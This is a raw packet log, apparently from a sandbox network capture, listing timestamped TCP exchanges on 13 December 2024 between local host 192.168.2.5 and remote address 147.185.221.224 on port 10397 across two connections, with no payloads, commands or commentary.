Dec 13, 2024 12:34:08.461430073 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:08.461668015 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:08.713385105 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:08.713510990 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:08.965411901 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:08.965686083 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:09.213469982 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:09.213557959 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:09.465461016 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:09.465584040 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:09.717531919 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:09.717686892 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:09.965440035 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:09.966525078 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:10.213402033 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:10.215336084 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:10.461815119 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:10.461956024 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:10.709680080 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:10.709882975 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:10.957463980 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:10.957576036 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:11.207340002 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:11.207454920 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:11.454869032 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:11.455264091 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:11.702321053 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:11.702548027 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:11.949424982 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:11.949508905 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:12.193418026 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:12.194113016 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:12.441366911 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:12.441968918 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:12.689713001 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:12.689809084 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:12.941447973 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:12.941834927 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:13.190586090 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:13.192262888 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:13.441473007 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:13.441591024 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:13.689486980 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:13.689685106 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:13.941499949 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:13.942318916 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:14.189460039 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:14.189925909 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:14.443820953 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:14.443994999 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:14.691471100 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:14.691718102 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:14.937419891 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:14.937690973 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:15.185647964 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:15.186084032 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:15.433460951 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:15.433633089 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:15.681629896 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:15.681818008 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:15.929399967 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:15.929557085 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:16.173558950 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:16.173729897 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:16.421689987 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:16.421844006 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:16.669482946 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:16.669574022 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:16.921720028 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:16.924412012 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:17.171231985 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:17.171647072 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:17.417663097 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:17.420258045 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:17.665900946 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:17.667001963 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:17.917757034 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:17.917859077 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:18.165769100 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:18.165877104 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:18.379141092 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:20.389218092 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:20.510473013 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:20.510569096 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:20.522842884 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:20.643543959 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:20.643743038 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:20.763746023 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:20.764019966 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:20.884104967 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:20.884332895 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.004582882 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.004746914 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.126503944 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.126607895 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.246815920 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.247103930 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.367165089 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.367480993 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.487577915 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.487725973 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.608299017 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.608395100 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.728431940 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.728528976 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:21.848516941 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:21.848750114 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.184663057 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.210783958 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.210867882 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.304670095 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.304771900 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.330838919 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.425324917 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.425400019 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.545290947 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.548259974 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.669734955 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.672245026 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.792124987 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.792536974 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:22.913331032 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:22.913429976 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.034238100 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.034341097 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.154433012 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.154542923 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.275232077 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.280380964 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.402385950 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.403980970 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.523874044 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.523957014 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.644248009 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.644494057 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.768239975 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.768302917 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:23.888247967 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:23.888498068 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.008296967 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.008382082 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.128675938 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.128768921 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.248925924 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.249032021 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.368987083 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.369060993 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.489104986 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.489186049 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.609023094 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.612272024 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.732112885 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.732186079 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.851989031 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.852188110 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:24.972171068 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:24.972449064 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.092363119 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.092664957 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.212714911 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.212810040 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.332890034 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.332988977 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.455503941 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.455574036 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.575695992 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.575902939 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.697185993 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.697357893 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.817332983 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.817420959 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:25.938574076 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:25.938647032 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.293834925 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.432358980 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.432379007 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.432729959 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.552644968 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.552737951 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.674170971 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.674261093 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.794157028 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.794234037 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:26.915529013 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:26.915659904 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.035676956 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.035825968 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.155711889 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.155783892 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.276293039 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.276372910 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.396229029 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.396301031 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.516175985 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.516252995 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.636213064 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.637950897 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.757894039 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.758228064 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.878088951 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.879200935 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:27.998881102 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:27.999288082 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:28.119786978 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:28.121992111 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:28.242536068 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:28.242641926 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:28.363198996 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:28.364398956 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:28.484493971 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.053117990 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.173089981 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.173141003 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.292949915 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.293010950 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.412858009 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.412933111 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.532896042 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.533113003 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.653012991 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.653098106 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.775135040 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.775271893 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:29.895216942 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:29.895323992 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.015162945 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.015275955 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.135181904 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.135441065 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.255554914 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.255677938 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.375631094 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.375700951 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.495724916 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.495795965 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.616305113 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.620389938 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.740607977 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.744401932 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.866835117 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.868371964 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:30.989938974 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:30.990039110 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:31.153500080 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:31.154149055 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:31.357544899 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:31.360392094 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:31.609543085 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:31.609829903 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:31.857618093 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:31.857671022 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:32.109746933 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:32.109839916 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:32.357464075 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:32.357764959 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:32.609478951 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:32.611323118 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:32.857637882 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:32.860434055 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:33.105653048 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:33.106040001 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:33.353550911 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:33.355309963 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:33.601893902 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:33.602161884 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:33.851366043 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:33.851461887 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:34.097661018 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:34.097919941 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:34.345647097 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:34.345819950 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:34.593674898 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:34.593885899 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:34.841610909 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:34.841794014 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:35.089562893 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:35.089643955 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:35.337845087 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:35.338133097 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:35.589514971 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:35.589615107 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:35.837526083 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:35.837629080 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:36.085640907 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:36.085933924 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:36.333504915 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:36.333576918 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:36.581566095 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:36.705475092 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:36.825402021 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:36.826396942 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:36.946233988 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:36.948151112 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.068110943 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.070580006 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.190864086 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.191262007 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.311124086 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.316272020 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.436234951 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.438663006 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.558746099 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.558840036 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.678883076 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.679148912 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.799134970 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.799345016 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:37.919858932 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:37.919944048 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.039886951 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.040147066 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.160160065 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.160244942 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.280122042 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.280205965 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.400237083 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.400477886 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.520438910 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.520673990 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.640711069 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.640844107 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:38.802105904 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:38.802241087 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:39.009491920 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:39.009613991 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:39.261918068 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:39.262013912 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:39.513433933 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:39.513503075 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:39.761596918 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:39.761642933 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:40.009457111 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:40.009553909 CET	49982	10397	192.168.2.5	147.185.221.224
